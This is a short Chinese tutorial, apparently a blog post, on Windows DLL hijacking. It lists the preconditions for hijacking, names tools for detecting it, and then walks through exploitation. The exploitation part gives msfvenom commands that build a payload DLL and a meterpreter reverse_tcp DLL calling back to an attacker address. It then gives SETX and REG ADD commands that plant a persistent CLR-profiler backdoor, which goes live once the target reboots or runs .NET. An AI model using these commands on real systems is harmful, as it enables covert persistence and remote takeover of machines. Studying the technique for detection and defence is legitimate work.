dll劫持
1.劫持产生的条件
- 不在’HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs’注册表中
- 其dll是EXE程序首先加载的DLL,而不是依赖其他DLL加载的。
- DLL确实被加载进内存中
2.手动判断是否可以劫持
利用进程查看软件 ProcessMonitor、ProcessExplorer、火绒剑等查看进程所加载的DLL文件,查看该dll是否存在KnownDlls注册表中。注册表中如果没有该DLL,那么就存在被劫持的风险。
3.自动化判断
- 1.Ratter https://github.com/sensepost/rattler/releases
- DLL Hijack Auditor
- dll_hijack_detect https://github.com/adamkramer/dll_hijack_detect/releases
- ChkDllHijack https://github.com/anhkgg/anhkgg-tools
4.利用方式
(1)注入
1.msf生成dll,弹出计算机。
1 | msfvenom -p windows/exec CMD = calc.exe EXITFUNC=thread -f dll -o sxs.dll |
2.使用dll注入工具,进行文件劫持
1 | https://github.com/secrary/InjectProc/releases |
3,.运行notepad得到计算机弹框
(2)利用CLR劫持dll建立持续性后门
- CLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。
1.配置环境变量
CLR需配置环境变量中用户变量才能完全劫持.Net,增加 COR_ENABLE_PROFILING 值为 1,COR_PROFILER 值为 CLSID,CLSID可以为任意值,但不能与原有CLSID冲突
1
2
3SETX COR_ENABLE_PROFILING 1
SETX COR_PROFILER {AABBCCDD-1234-1234-1234-AABBCCDDEEFF} #{AABBCCDD-1234-1234-1234-AABBCCDDEEFF} 为 CLSID
2.生成 dll payload
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.131 LPORT=4444 -f dll > msf.dll |
3.在注册表中添加相应键值
在 HKEY_CURRENT_USER\Software\Classes\CLSID\ 下新建项,名称为环境变量中配置的 CLSID 一致,在{AABBCCDD-1234-1234-1234-AABBCCDDEEFF} 下新建项,名称为 InProcServer32 ,修改默认值为上传的dll位置,并新建字符串值 ThreadingModel = Apartment,CMD命令如下:
1 | REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{AABBCCDD-1234-1234-1234-AABBCCDDEEFF}\InProcServer32" /VE /T REG_SZ /D "C:\msf.dll" /F |
当目标机重启登录后或调用 .net 时,msf成功上线
文章参考:

